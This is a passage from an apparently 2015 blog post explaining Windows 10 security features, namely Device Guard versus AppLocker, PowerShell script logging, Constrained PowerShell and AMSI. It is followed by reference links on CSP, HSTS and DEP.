This new feature is particularly effective against APTs (Advanced Persistent Threats) since in a similar manner to AppLocker an APT would not be trusted and would not be allowed to run. This is so effective since Device Guard (again similar to AppLocker) does not rely on receiving updates to detect known threats in the same way that anti-malware software does. It works simply by determining if you have allowed this program, if not it will block it.

What Advantages Does Device Guard Have Over AppLocker (or other whitelisting solutions)?
Even if a system has been fully compromised (where the attacker has already obtained administrative access), Device Guard can block malware by using hardware virtualization to isolate the decision to block/allow from Windows even if the Windows kernel is fully compromised. This isolated mode which makes use of the Local Security Authority (LSA) to protect against Pass the Hash (PtH) attacks.

However Device Guard will not be able to protect against apps that use Just-In-Time (JIT) code compilation such as Java, .Net or macros embedded in Microsoft Office documents but using existing anti-malware software and having a Windows device user use a standard user account rather than an administrative account will provide the necessary protection.

Finally, Device Guard should be easier to administer/maintain since AppLocker requires that unsigned executable (runnable) files (that you trust) be approved by whitelisting their file hash. Since Device Guard relies solely on an application being signed, this extra task will be eliminated. The only flaw that I can see with Device Guard is that it may be open to attacks on digital signatures whereby a signing certificate can be stolen and used to sign malware, noteworthy examples involving Adobe, Microsoft, Opera and Realtek/JMicron have taken place.

It’s not clear how prevalent the use of Device Guard will be in a corporate environment (it won’t be present in consumer versions since according to this post Device Guard is available for Windows 10 Enterprise edition only). Most existing Windows 8 devices will support the use of Device Guard; provided they are recent enough to have UEFI firmware and their CPUs support AMD-Vi or Intel VT-d. The full requirements of Device Guard are listed here.

Update: 5th July 2015:
Windows 10 Additional Security Features: PowerShell Script Logging Capabilities
In addition to the improvements discussed above, Windows 10 will offer additional security for PowerShell scripts that are executed (allowed to run) on a Windows 10 system (and on Windows 8.1/Server 2012 R2 systems with update kb3000850 installed).

If a Windows 10 system is compromised it will offer much more detailed logging that can be used to determine how much the system was compromised and what changes were made. Moreover, even if obfuscated (garbled scripts (used to make detection of such scripts more difficult) that must be un-garbled before being allowed to run) are used by the attacker, such scripts must eventually be deciphered in order for the system to carry out the malicious commands, thus Windows 10 will be able to show you what these obfuscated have done to your system, this was not previously possible. The above improvements will allow incident responders to determine what data was compromised (if such scripts were used to steal data) and what remediation’s to take to revert the system back to a secure state.

Furthermore there are occasions when the logging of such PowerShell scripts may also inadvertently capture sensitive information. Windows 10 provides the capability for applications to encrypt their sensitive information before it is added to the logs. This encryption can later be removed while reviewing the logs to ensure that crucial data is still legible.

The above capabilities are discussed in more detail in this Microsoft SRD blog post.

One additional capability that PowerShell will feature will be to address a previous limitation of using Windows AppLocker in Allow Mode (namely that only recognised/trusted applications are allowed to run also known as application whitelisting). This limitation was that while any unrecognized/unauthorized PowerShell script (within a file) would be blocked by AppLocker, if such a script was entered manually (e.g. using the keyboard) within a PowerShell prompt (similar to a terminal window), this interactively created script would run. The Constrained PowerShell feature of PowerShell v5 available with Windows 10 will block this interactive means of running a PowerShell when AppLocker is enabled in the more restrictive Allow mode that will address this previous weakness. Further information on this feature is available in this Microsoft PowerShell blog post.

A new feature debuting in Windows 10 will be the Antimalware Scan Interface (AMSI) which can be integrated with an anti-malware application to allow the evaluation of any script (PowerShell, VBScript among others) once that script has been de-obfuscated and is ready to carry out its intended purpose. This will also protect against code/scripts that only ever exist in memory (are never written to disk within a file). Windows 10 will automatically benefit from this feature since its scripting engines will use the AMSI feature by default. This feature can also be used by application developers (when that application wishes to use scripts for automation purposes) as well as 3rd party anti-malware vendors.

It’s amazing to see these capabilities being added to thwart more advanced means of compromising systems that make use of in-memory scripts that are obfuscated to avoid detection by standard anti-malware signatures. The addition of the Constrained PowerShell feature also addresses a key weakness in previous implementations of this robust application white-listing feature.

In conclusion, Windows 10 will bring a range of technologies that will help to ensure our device’s remain secure even as advanced persistent threats (APTs) and insider threats become more commonplace. If you have any questions about this blog post or any of my other posts, please feel free to contact me.

Thank you.

===========================
Please find below further references for Content Security Policy (CSP), HTTP Strict Transport Security (HSTS) and Data Execution Prevention (DEP) which were discussed above:

References:
Content Security Policy (CSP):
An Introduction to Content Security Policy
Content Security Policy (CSP)
Reject the Unexpected – Content Security Policy in Gmail
Content Security Policy
Time to Review/Implement Content Security Policy v1.0
Improving Browser Security with CSP

HTTP Strict Transport Security (HSTS):
HTTP Strict Transport Security comes to Internet Explorer
HTTP Strict Transport Security (Mozilla)
HTTP Strict Transport Security (OWASP)
HTTP Strict Transport Security (Entrust)
How to enable HTTP Strict Transport Security (HSTS) in IIS7+
Firefox joins Chrome in supporting HTTP Strict Transport Security (HSTS)

Data Execution Prevention (DEP):
Understanding DEP as a mitigation technology part 1
Understanding DEP as a mitigation technology part 2